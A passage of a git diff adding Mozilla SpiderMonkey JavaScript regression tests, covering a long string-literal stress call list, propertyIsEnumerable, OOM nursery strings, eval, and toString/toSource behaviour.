+ f('67789','67790','67791','67792');
+ f('67793','67794','67795','67796');
+ f('67797','67798','67799','67800');
+ f('67801','67802','67803','67804');
+ f('67805','67806','67807','67808');
+ f('67809','67810','67811','67812');
+ f('67813','67814','67815','67816');
+ f('67817','67818','67819','67820');
+ f('67821','67822','67823','67824');
+ f('67825','67826','67827','67828');
+ f('67829','67830','67831','67832');
+ f('67833','67834','67835','67836');
+ f('67837','67838','67839','67840');
+ f('67841','67842','67843','67844');
+ f('67845','67846','67847','67848');
+ f('67849','67850','67851','67852');
+ f('67853','67854','67855','67856');
+ f('67857','67858','67859','67860');
+ f('67861','67862','67863','67864');
+ f('67865','67866','67867','67868');
+ f('67869','67870','67871','67872');
+ f('67873','67874','67875','67876');
+ f('67877','67878','67879','67880');
+ f('67881','67882','67883','67884');
+ f('67885','67886','67887','67888');
+ f('67889','67890','67891','67892');
+ f('67893','67894','67895','67896');
+ f('67897','67898','67899','67900');
+ f('67901','67902','67903','67904');
+ f('67905','67906','67907','67908');
+ f('67909','67910','67911','67912');
+ f('67913','67914','67915','67916');
+ f('67917','67918','67919','67920');
+ f('67921','67922','67923','67924');
+ f('67925','67926','67927','67928');
+ f('67929','67930','67931','67932');
+ f('67933','67934','67935','67936');
+ f('67937','67938','67939','67940');
+ f('67941','67942','67943','67944');
+ f('67945','67946','67947','67948');
+ f('67949','67950','67951','67952');
+ f('67953','67954','67955','67956');
+ f('67957','67958','67959','67960');
+ f('67961','67962','67963','67964');
+ f('67965','67966','67967','67968');
+ f('67969','67970','67971','67972');
+ f('67973','67974','67975','67976');
+ f('67977','67978','67979','67980');
+ f('67981','67982','67983','67984');
+ f('67985','67986','67987','67988');
+ f('67989','67990','67991','67992');
+ f('67993','67994','67995','67996');
+ f('67997','67998','67999','68000');
+ f('68001','68002','68003','68004');
+ f('68005','68006','68007','68008');
+ f('68009','68010','68011','68012');
+ f('68013','68014','68015','68016');
+ f('68017','68018','68019','68020');
+ f('68021','68022','68023','68024');
+ f('68025','68026','68027','68028');
+ f('68029','68030','68031','68032');
+ f('68033','68034','68035','68036');
+ f('68037','68038','68039','68040');
+ f('68041','68042','68043','68044');
+ f('68045','68046','68047','68048');
+ f('68049','68050','68051','68052');
+ f('68053','68054','68055','68056');
+ f('68057','68058','68059','68060');
+ f('68061','68062','68063','68064');
+ f('68065','68066','68067','68068');
+ f('68069','68070','68071','68072');
+ f('68073','68074','68075','68076');
+ f('68077','68078','68079','68080');
+ f('68081','68082','68083','68084');
+ f('68085','68086','68087','68088');
+ f('68089','68090','68091','68092');
+ f('68093','68094','68095','68096');
+ f('68097','68098','68099','68100');
+ f('68101','68102','68103','68104');
+ f('68105','68106','68107','68108');
+ f('68109','68110','68111','68112');
+ f('68113','68114','68115','68116');
+ f('68117','68118','68119','68120');
+ f('68121','68122','68123','68124');
+ f('68125','68126','68127','68128');
+ f('68129','68130','68131','68132');
+ f('68133','68134','68135','68136');
+ f('68137','68138','68139','68140');
+ f('68141','68142','68143','68144');
+ f('68145','68146','68147','68148');
+ f('68149','68150','68151','68152');
+ f('68153','68154','68155','68156');
+ f('68157','68158','68159','68160');
+ f('68161','68162','68163','68164');
+ f('68165','68166','68167','68168');
+ f('68169','68170','68171','68172');
+ f('68173','68174','68175','68176');
+ f('68177','68178','68179','68180');
+ f('68181','68182','68183','68184');
+ f('68185','68186','68187','68188');
+ f('68189','68190','68191','68192');
+ f('68193','68194','68195','68196');
+ f('68197','68198','68199','68200');
+ f('68201','68202','68203','68204');
+ f('68205','68206','68207','68208');
+ f('68209','68210','68211','68212');
+ f('68213','68214','68215','68216');
+ f('68217','68218','68219','68220');
+ f('68221','68222','68223','68224');
+ f('68225','68226','68227','68228');
+ f('68229','68230','68231','68232');
+ f('68233','68234','68235','68236');
+ f('68237','68238','68239','68240');
+ f('68241','68242','68243','68244');
+ f('68245','68246','68247','68248');
+ f('68249','68250','68251','68252');
+ f('68253','68254','68255','68256');
+ f('68257','68258','68259','68260');
+ f('68261','68262','68263','68264');
+ f('68265','68266','68267','68268');
+ f('68269','68270','68271','68272');
+ f('68273','68274','68275','68276');
+ f('68277','68278','68279','68280');
+ f('68281','68282','68283','68284');
+ f('68285','68286','68287','68288');
+ f('68289','68290','68291','68292');
+ f('68293','68294','68295','68296');
+ f('68297','68298','68299','68300');
+ f('68301','68302','68303','68304');
+ f('68305','68306','68307','68308');
+ f('68309','68310','68311','68312');
+ f('68313','68314','68315','68316');
+ f('68317','68318','68319','68320');
+ f('68321','68322','68323','68324');
+ f('68325','68326','68327','68328');
+ f('68329','68330','68331','68332');
+ f('68333','68334','68335','68336');
+ f('68337','68338','68339','68340');
+ f('68341','68342','68343','68344');
+ f('68345','68346','68347','68348');
+ f('68349','68350','68351','68352');
+ f('68353','68354','68355','68356');
+ f('68357','68358','68359','68360');
+ f('68361','68362','68363','68364');
+ f('68365','68366','68367','68368');
+ f('68369','68370','68371','68372');
+ f('68373','68374','68375','68376');
+ f('68377','68378','68379','68380');
+ f('68381','68382','68383','68384');
+ f('68385','68386','68387','68388');
+ f('68389','68390','68391','68392');
+ f('68393','68394','68395','68396');
+ f('68397','68398','68399','68400');
+ f('68401','68402','68403','68404');
+ f('68405','68406','68407','68408');
+ f('68409','68410','68411','68412');
+ f('68413','68414','68415','68416');
+ f('68417','68418','68419','68420');
+ f('68421','68422','68423','68424');
+ f('68425','68426','68427','68428');
+ f('68429','68430','68431','68432');
+ f('68433','68434','68435','68436');
+ f('68437','68438','68439','68440');
+ f('68441','68442','68443','68444');
+ f('68445','68446','68447','68448');
+ f('68449','68450','68451','68452');
+ f('68453','68454','68455','68456');
+ f('68457','68458','68459','68460');
+ f('68461','68462','68463','68464');
+ f('68465','68466','68467','68468');
+ f('68469','68470','68471','68472');
+ f('68473','68474','68475','68476');
+ f('68477','68478','68479','68480');
+ f('68481','68482','68483','68484');
+ f('68485','68486','68487','68488');
+ f('68489','68490','68491','68492');
+ f('68493','68494','68495','68496');
+ f('68497','68498','68499','68500');
+ f('68501','68502','68503','68504');
+ f('68505','68506','68507','68508');
+ f('68509','68510','68511','68512');
+ f('68513','68514','68515','68516');
+ f('68517','68518','68519','68520');
+ f('68521','68522','68523','68524');
+ f('68525','68526','68527','68528');
+ f('68529','68530','68531','68532');
+ f('68533','68534','68535','68536');
+ f('68537','68538','68539','68540');
+ f('68541','68542','68543','68544');
+ f('68545','68546','68547','68548');
+ f('68549','68550','68551','68552');
+ f('68553','68554','68555','68556');
+ f('68557','68558','68559','68560');
+ f('68561','68562','68563','68564');
+ f('68565','68566','68567','68568');
+ f('68569','68570','68571','68572');
+ f('68573','68574','68575','68576');
+ f('68577','68578','68579','68580');
+ f('68581','68582','68583','68584');
+ f('68585','68586','68587','68588');
+ f('68589','68590','68591','68592');
+ f('68593','68594','68595','68596');
+ f('68597','68598','68599','68600');
+ f('68601','68602','68603','68604');
+ f('68605','68606','68607','68608');
+ f('68609','68610','68611','68612');
+ f('68613','68614','68615','68616');
+ f('68617','68618','68619','68620');
+ f('68621','68622','68623','68624');
+ f('68625','68626','68627','68628');
+ f('68629','68630','68631','68632');
+ f('68633','68634','68635','68636');
+ f('68637','68638','68639','68640');
+ f('68641','68642','68643','68644');
+ f('68645','68646','68647','68648');
+ f('68649','68650','68651','68652');
+ f('68653','68654','68655','68656');
+ f('68657','68658','68659','68660');
+ f('68661','68662','68663','68664');
+ f('68665','68666','68667','68668');
+ f('68669','68670','68671','68672');
+ f('68673','68674','68675','68676');
+ f('68677','68678','68679','68680');
+ f('68681','68682','68683','68684');
+ f('68685','68686','68687','68688');
+ f('68689','68690','68691','68692');
+ f('68693','68694','68695','68696');
+ f('68697','68698','68699','68700');
+ f('68701','68702','68703','68704');
+ f('68705','68706','68707','68708');
+ f('68709','68710','68711','68712');
+ f('68713','68714','68715','68716');
+ f('68717','68718','68719','68720');
+ f('68721','68722','68723','68724');
+ f('68725','68726','68727','68728');
+ f('68729','68730','68731','68732');
+ f('68733','68734','68735','68736');
+ f('68737','68738','68739','68740');
+ f('68741','68742','68743','68744');
+ f('68745','68746','68747','68748');
+ f('68749','68750','68751','68752');
+ f('68753','68754','68755','68756');
+ f('68757','68758','68759','68760');
+ f('68761','68762','68763','68764');
+ f('68765','68766','68767','68768');
+ f('68769','68770','68771','68772');
+ f('68773','68774','68775','68776');
+ f('68777','68778','68779','68780');
+ f('68781','68782','68783','68784');
+ f('68785','68786','68787','68788');
+ f('68789','68790','68791','68792');
+ f('68793','68794','68795','68796');
+ f('68797','68798','68799','68800');
+ f('68801','68802','68803','68804');
+ f('68805','68806','68807','68808');
+ f('68809','68810','68811','68812');
+ f('68813','68814','68815','68816');
+ f('68817','68818','68819','68820');
+ f('68821','68822','68823','68824');
+ f('68825','68826','68827','68828');
+ f('68829','68830','68831','68832');
+ f('68833','68834','68835','68836');
+ f('68837','68838','68839','68840');
+ f('68841','68842','68843','68844');
+ f('68845','68846','68847','68848');
+ f('68849','68850','68851','68852');
+ f('68853','68854','68855','68856');
+ f('68857','68858','68859','68860');
+ f('68861','68862','68863','68864');
+ f('68865','68866','68867','68868');
+ f('68869','68870','68871','68872');
+ f('68873','68874','68875','68876');
+ f('68877','68878','68879','68880');
+ f('68881','68882','68883','68884');
+ f('68885','68886','68887','68888');
+ f('68889','68890','68891','68892');
+ f('68893','68894','68895','68896');
+ f('68897','68898','68899','68900');
+ f('68901','68902','68903','68904');
+ f('68905','68906','68907','68908');
+ f('68909','68910','68911','68912');
+ f('68913','68914','68915','68916');
+ f('68917','68918','68919','68920');
+ f('68921','68922','68923','68924');
+ f('68925','68926','68927','68928');
+ f('68929','68930','68931','68932');
+ f('68933','68934','68935','68936');
+ f('68937','68938','68939','68940');
+ f('68941','68942','68943','68944');
+ f('68945','68946','68947','68948');
+ f('68949','68950','68951','68952');
+ f('68953','68954','68955','68956');
+ f('68957','68958','68959','68960');
+ f('68961','68962','68963','68964');
+ f('68965','68966','68967','68968');
+ f('68969','68970','68971','68972');
+ f('68973','68974','68975','68976');
+ f('68977','68978','68979','68980');
+ f('68981','68982','68983','68984');
+ f('68985','68986','68987','68988');
+ f('68989','68990','68991','68992');
+ f('68993','68994','68995','68996');
+ f('68997','68998','68999','69000');
+ f('69001','69002','69003','69004');
+ f('69005','69006','69007','69008');
+ f('69009','69010','69011','69012');
+ f('69013','69014','69015','69016');
+ f('69017','69018','69019','69020');
+ f('69021','69022','69023','69024');
+ f('69025','69026','69027','69028');
+ f('69029','69030','69031','69032');
+ f('69033','69034','69035','69036');
+ f('69037','69038','69039','69040');
+ f('69041','69042','69043','69044');
+ f('69045','69046','69047','69048');
+ f('69049','69050','69051','69052');
+ f('69053','69054','69055','69056');
+ f('69057','69058','69059','69060');
+ f('69061','69062','69063','69064');
+ f('69065','69066','69067','69068');
+ f('69069','69070','69071','69072');
+ f('69073','69074','69075','69076');
+ f('69077','69078','69079','69080');
+ f('69081','69082','69083','69084');
+ f('69085','69086','69087','69088');
+ f('69089','69090','69091','69092');
+ f('69093','69094','69095','69096');
+ f('69097','69098','69099','69100');
+ f('69101','69102','69103','69104');
+ f('69105','69106','69107','69108');
+ f('69109','69110','69111','69112');
+ f('69113','69114','69115','69116');
+ f('69117','69118','69119','69120');
+ f('69121','69122','69123','69124');
+ f('69125','69126','69127','69128');
+ f('69129','69130','69131','69132');
+ f('69133','69134','69135','69136');
+ f('69137','69138','69139','69140');
+ f('69141','69142','69143','69144');
+ f('69145','69146','69147','69148');
+ f('69149','69150','69151','69152');
+ f('69153','69154','69155','69156');
+ f('69157','69158','69159','69160');
+ f('69161','69162','69163','69164');
+ f('69165','69166','69167','69168');
+ f('69169','69170','69171','69172');
+ f('69173','69174','69175','69176');
+ f('69177','69178','69179','69180');
+ f('69181','69182','69183','69184');
+ f('69185','69186','69187','69188');
+ f('69189','69190','69191','69192');
+ f('69193','69194','69195','69196');
+ f('69197','69198','69199','69200');
+ f('69201','69202','69203','69204');
+ f('69205','69206','69207','69208');
+ f('69209','69210','69211','69212');
+ f('69213','69214','69215','69216');
+ f('69217','69218','69219','69220');
+ f('69221','69222','69223','69224');
+ f('69225','69226','69227','69228');
+ f('69229','69230','69231','69232');
+ f('69233','69234','69235','69236');
+ f('69237','69238','69239','69240');
+ f('69241','69242','69243','69244');
+ f('69245','69246','69247','69248');
+ f('69249','69250','69251','69252');
+ f('69253','69254','69255','69256');
+ f('69257','69258','69259','69260');
+ f('69261','69262','69263','69264');
+ f('69265','69266','69267','69268');
+ f('69269','69270','69271','69272');
+ f('69273','69274','69275','69276');
+ f('69277','69278','69279','69280');
+ f('69281','69282','69283','69284');
+ f('69285','69286','69287','69288');
+ f('69289','69290','69291','69292');
+ f('69293','69294','69295','69296');
+ f('69297','69298','69299','69300');
+ f('69301','69302','69303','69304');
+ f('69305','69306','69307','69308');
+ f('69309','69310','69311','69312');
+ f('69313','69314','69315','69316');
+ f('69317','69318','69319','69320');
+ f('69321','69322','69323','69324');
+ f('69325','69326','69327','69328');
+ f('69329','69330','69331','69332');
+ f('69333','69334','69335','69336');
+ f('69337','69338','69339','69340');
+ f('69341','69342','69343','69344');
+ f('69345','69346','69347','69348');
+ f('69349','69350','69351','69352');
+ f('69353','69354','69355','69356');
+ f('69357','69358','69359','69360');
+ f('69361','69362','69363','69364');
+ f('69365','69366','69367','69368');
+ f('69369','69370','69371','69372');
+ f('69373','69374','69375','69376');
+ f('69377','69378','69379','69380');
+ f('69381','69382','69383','69384');
+ f('69385','69386','69387','69388');
+ f('69389','69390','69391','69392');
+ f('69393','69394','69395','69396');
+ f('69397','69398','69399','69400');
+ f('69401','69402','69403','69404');
+ f('69405','69406','69407','69408');
+ f('69409','69410','69411','69412');
+ f('69413','69414','69415','69416');
+ f('69417','69418','69419','69420');
+ f('69421','69422','69423','69424');
+ f('69425','69426','69427','69428');
+ f('69429','69430','69431','69432');
+ f('69433','69434','69435','69436');
+ f('69437','69438','69439','69440');
+ f('69441','69442','69443','69444');
+ f('69445','69446','69447','69448');
+ f('69449','69450','69451','69452');
+ f('69453','69454','69455','69456');
+ f('69457','69458','69459','69460');
+ f('69461','69462','69463','69464');
+ f('69465','69466','69467','69468');
+ f('69469','69470','69471','69472');
+ f('69473','69474','69475','69476');
+ f('69477','69478','69479','69480');
+ f('69481','69482','69483','69484');
+ f('69485','69486','69487','69488');
+ f('69489','69490','69491','69492');
+ f('69493','69494','69495','69496');
+ f('69497','69498','69499','69500');
+ f('69501','69502','69503','69504');
+ f('69505','69506','69507','69508');
+ f('69509','69510','69511','69512');
+ f('69513','69514','69515','69516');
+ f('69517','69518','69519','69520');
+ f('69521','69522','69523','69524');
+ f('69525','69526','69527','69528');
+ f('69529','69530','69531','69532');
+ f('69533','69534','69535','69536');
+ f('69537','69538','69539','69540');
+ f('69541','69542','69543','69544');
+ f('69545','69546','69547','69548');
+ f('69549','69550','69551','69552');
+ f('69553','69554','69555','69556');
+ f('69557','69558','69559','69560');
+ f('69561','69562','69563','69564');
+ f('69565','69566','69567','69568');
+ f('69569','69570','69571','69572');
+ f('69573','69574','69575','69576');
+ f('69577','69578','69579','69580');
+ f('69581','69582','69583','69584');
+ f('69585','69586','69587','69588');
+ f('69589','69590','69591','69592');
+ f('69593','69594','69595','69596');
+ f('69597','69598','69599','69600');
+ f('69601','69602','69603','69604');
+ f('69605','69606','69607','69608');
+ f('69609','69610','69611','69612');
+ f('69613','69614','69615','69616');
+ f('69617','69618','69619','69620');
+ f('69621','69622','69623','69624');
+ f('69625','69626','69627','69628');
+ f('69629','69630','69631','69632');
+ f('69633','69634','69635','69636');
+ f('69637','69638','69639','69640');
+ f('69641','69642','69643','69644');
+ f('69645','69646','69647','69648');
+ f('69649','69650','69651','69652');
+ f('69653','69654','69655','69656');
+ f('69657','69658','69659','69660');
+ f('69661','69662','69663','69664');
+ f('69665','69666','69667','69668');
+ f('69669','69670','69671','69672');
+ f('69673','69674','69675','69676');
+ f('69677','69678','69679','69680');
+ f('69681','69682','69683','69684');
+ f('69685','69686','69687','69688');
+ f('69689','69690','69691','69692');
+ f('69693','69694','69695','69696');
+ f('69697','69698','69699','69700');
+ f('69701','69702','69703','69704');
+ f('69705','69706','69707','69708');
+ f('69709','69710','69711','69712');
+ f('69713','69714','69715','69716');
+ f('69717','69718','69719','69720');
+ f('69721','69722','69723','69724');
+ f('69725','69726','69727','69728');
+ f('69729','69730','69731','69732');
+ f('69733','69734','69735','69736');
+ f('69737','69738','69739','69740');
+ f('69741','69742','69743','69744');
+ f('69745','69746','69747','69748');
+ f('69749','69750','69751','69752');
+ f('69753','69754','69755','69756');
+ f('69757','69758','69759','69760');
+ f('69761','69762','69763','69764');
+ f('69765','69766','69767','69768');
+ f('69769','69770','69771','69772');
+ f('69773','69774','69775','69776');
+ f('69777','69778','69779','69780');
+ f('69781','69782','69783','69784');
+ f('69785','69786','69787','69788');
+ f('69789','69790','69791','69792');
+ f('69793','69794','69795','69796');
+ f('69797','69798','69799','69800');
+ f('69801','69802','69803','69804');
+ f('69805','69806','69807','69808');
+ f('69809','69810','69811','69812');
+ f('69813','69814','69815','69816');
+ f('69817','69818','69819','69820');
+ f('69821','69822','69823','69824');
+ f('69825','69826','69827','69828');
+ f('69829','69830','69831','69832');
+ f('69833','69834','69835','69836');
+ f('69837','69838','69839','69840');
+ f('69841','69842','69843','69844');
+ f('69845','69846','69847','69848');
+ f('69849','69850','69851','69852');
+ f('69853','69854','69855','69856');
+ f('69857','69858','69859','69860');
+ f('69861','69862','69863','69864');
+ f('69865','69866','69867','69868');
+ f('69869','69870','69871','69872');
+ f('69873','69874','69875','69876');
+ f('69877','69878','69879','69880');
+ f('69881','69882','69883','69884');
+ f('69885','69886','69887','69888');
+ f('69889','69890','69891','69892');
+ f('69893','69894','69895','69896');
+ f('69897','69898','69899','69900');
+ f('69901','69902','69903','69904');
+ f('69905','69906','69907','69908');
+ f('69909','69910','69911','69912');
+ f('69913','69914','69915','69916');
+ f('69917','69918','69919','69920');
+ f('69921','69922','69923','69924');
+ f('69925','69926','69927','69928');
+ f('69929','69930','69931','69932');
+ f('69933','69934','69935','69936');
+ f('69937','69938','69939','69940');
+ f('69941','69942','69943','69944');
+ f('69945','69946','69947','69948');
+ f('69949','69950','69951','69952');
+ f('69953','69954','69955','69956');
+ f('69957','69958','69959','69960');
+ f('69961','69962','69963','69964');
+ f('69965','69966','69967','69968');
+ f('69969','69970','69971','69972');
+ f('69973','69974','69975','69976');
+ f('69977','69978','69979','69980');
+ f('69981','69982','69983','69984');
+ f('69985','69986','69987','69988');
+ f('69989','69990','69991','69992');
+ f('69993','69994','69995','69996');
+ f('69997','69998','69999','70000');
+ actual = 'No Crash, No Error';
+}
+catch(e)
+{
+ printStatus('caught ' + e);
+ actual = e + '';
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-156354.js b/js/src/tests/non262/regress/regress-156354.js
new file mode 100644
index 0000000000..d26d3e8393
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-156354.js
@@ -0,0 +1,94 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 September 2002
+ * SUMMARY: Testing propertyIsEnumerable() on nonexistent property
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=156354
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 156354;
+var summary = 'Testing propertyIsEnumerable() on nonexistent property';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+actual = this.propertyIsEnumerable('XYZ');
+expect = false;
+addThis();
+
+status = inSection(2);
+actual = this.propertyIsEnumerable('');
+expect = false;
+addThis();
+
+status = inSection(3);
+actual = this.propertyIsEnumerable(undefined);
+expect = false;
+addThis();
+
+status = inSection(4);
+actual = this.propertyIsEnumerable(null);
+expect = false;
+addThis();
+
+status = inSection(5);
+actual = this.propertyIsEnumerable('\u02b1');
+expect = false;
+addThis();
+
+
+var obj = {prop1:null};
+
+status = inSection(6);
+actual = obj.propertyIsEnumerable('prop1');
+expect = true;
+addThis();
+
+status = inSection(7);
+actual = obj.propertyIsEnumerable('prop2');
+expect = false;
+addThis();
+
+// let's try one via eval(), too -
+status = inSection(8);
+eval("actual = obj.propertyIsEnumerable('prop2')");
+expect = false;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-1572988-nurseryRegisterCheck.js b/js/src/tests/non262/regress/regress-1572988-nurseryRegisterCheck.js
new file mode 100644
index 0000000000..b606da7d8d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-1572988-nurseryRegisterCheck.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty("oomTest"))
+
+// Bug 1572988: Make a bunch of nursery ropes and flatten them with oomTest.
+// The goal is to get an OOM while flattening that makes registering the
+// string's malloc buffer with the nursery fail, triggering an assertion when
+// it gets tenured.
+
+var x = 0;
+var N = 1000; // This failed most of the time on my linux64 box.
+
+// But it can time out on the slower machines.
+if (this.getBuildConfiguration) {
+ for (let [k, v] of Object.entries(getBuildConfiguration())) {
+ if (k.includes("simulator") && v)
+ N = 10;
+ if (k.includes("arm") && v)
+ N = 10;
+ if (k.includes("android") && v)
+ N = 10;
+ }
+}
+
+function makeString() {
+ x += 1;
+ const extensible = ensureLinearString("aaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + x);
+ return ensureLinearString(newRope(extensible, "bbbbbbbbbbbbbbb"));
+}
+
+function f(arr) {
+ for (let i = 0; i < N; i++)
+ arr.push(makeString());
+ return arr;
+}
+
+var globalStore = [];
+function ff() {
+ globalStore.push(f([]));
+}
+
+if (this.oomTest)
+ oomTest(ff);
+
+reportCompare(true, true, "nursery malloc buffer registration failure");
diff --git a/js/src/tests/non262/regress/regress-159334.js b/js/src/tests/non262/regress/regress-159334.js
new file mode 100644
index 0000000000..2a8c32be8b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-159334.js
@@ -0,0 +1,92 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 31 Oct 2002
+ * SUMMARY: Testing script with at least 64K of different string literals
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=159334
+ *
+ * Testing that script engine can handle scripts with at least 64K of different
+ * string literals. The following will evaluate, via eval(), a script like this:
+ *
+ * f('0')
+ * f('1')
+ * ...
+ * f('N - 1')
+ *
+ * where N is 0xFFFE
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 159334;
+var summary = 'Testing script with at least 64K of different string literals';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var N = 0xFFFE;
+
+// Create big string for eval recursively to avoid N*N behavior
+// on string concatenation
+var long_eval = buildEval_r(0, N);
+
+// Run it
+var test_sum = 0;
+function f(str) { test_sum += Number(str); }
+eval(long_eval);
+
+status = inSection(1);
+actual = (test_sum == N * (N - 1) / 2);
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function buildEval_r(beginLine, endLine)
+{
+ var count = endLine - beginLine;
+
+ if (count == 0)
+ return "";
+
+ if (count == 1)
+ return "f('" + beginLine + "')\n";
+
+ var middle = beginLine + (count >>> 1);
+ return buildEval_r(beginLine, middle) + buildEval_r(middle, endLine);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-162392.js b/js/src/tests/non262/regress/regress-162392.js
new file mode 100644
index 0000000000..23dd0c1316
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-162392.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+
+//-----------------------------------------------------------------------------
+// SUMMARY: 10.1.8 Arguments Object length
+
+var BUGNUMBER = 162392;
+var summary = 'eval("arguments").length == 0 when no arguments specified';
+var actual = noargslength();
+var expect = 0;
+
+function noargslength()
+{
+ return eval('arguments').length;
+}
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-165201.js b/js/src/tests/non262/regress/regress-165201.js
new file mode 100644
index 0000000000..de5828c3dd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-165201.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 165201;
+var summary = '';
+var actual = '';
+var expect = '';
+
+
+summary = 'RegExp.prototype.toSource should not affect RegExp.prototype.toString';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+/*
+ * Define function returning a regular expression literal
+ * and override RegExp.prototype.toSource
+ */
+
+function f()
+{
+ return /abc/;
+}
+
+RegExp.prototype.toSource = function() { return 'Hi there'; };
+
+expect = -1;
+actual = f.toString().indexOf('Hi there');
+
+reportCompare(expect, actual, summary);
+
+/*
+ * Define function returning an array literal
+ * and override RegExp.prototype.toSource
+ */
+summary = 'Array.prototype.toSource should not affect Array.prototype.toString';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function g()
+{
+ return [1,2,3];
+}
+
+Array.prototype.toSource = function() { return 'Hi there'; }
+
+ expect = -1;
+actual = g.toString().indexOf('Hi there');
+
+reportCompare(expect, actual, summary);
+
+
diff --git a/js/src/tests/non262/regress/regress-167328.js b/js/src/tests/non262/regress/regress-167328.js
new file mode 100644
index 0000000000..88ebe8d1e6
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-167328.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 167328;
+var summary = 'Normal error reporting code should fill Error object properties';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'TypeError:19';
+try
+{
+ var obj = {toString: function() {return new Object();}};
+ var result = String(obj);
+ actual = 'no error';
+}
+catch(e)
+{
+ actual = e.name + ':' + e.lineNumber;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-167658.js b/js/src/tests/non262/regress/regress-167658.js
new file mode 100644
index 0000000000..3b4ed3f2e1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-167658.js
@@ -0,0 +1,28 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 167658;
+var summary = 'Do not crash due to js_NewRegExp initialization';
+var actual = 'No Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var UBOUND=100;
+for (var j=0; j<UBOUND; j++)
+{
+ 'Apfelkiste, Apfelschale'.replace('Apfel', function()
+ {
+ for (var i = 0; i < arguments.length; i++)
+ printStatus(i+': '+arguments[i]);
+ return 'Bananen';
+ });
+
+ printStatus(j);
+}
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/regress/regress-168347.js b/js/src/tests/non262/regress/regress-168347.js
new file mode 100644
index 0000000000..cdacb78a53
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-168347.js
@@ -0,0 +1,183 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Sep 2002
+ * SUMMARY: Testing F.toString()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=168347
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 168347;
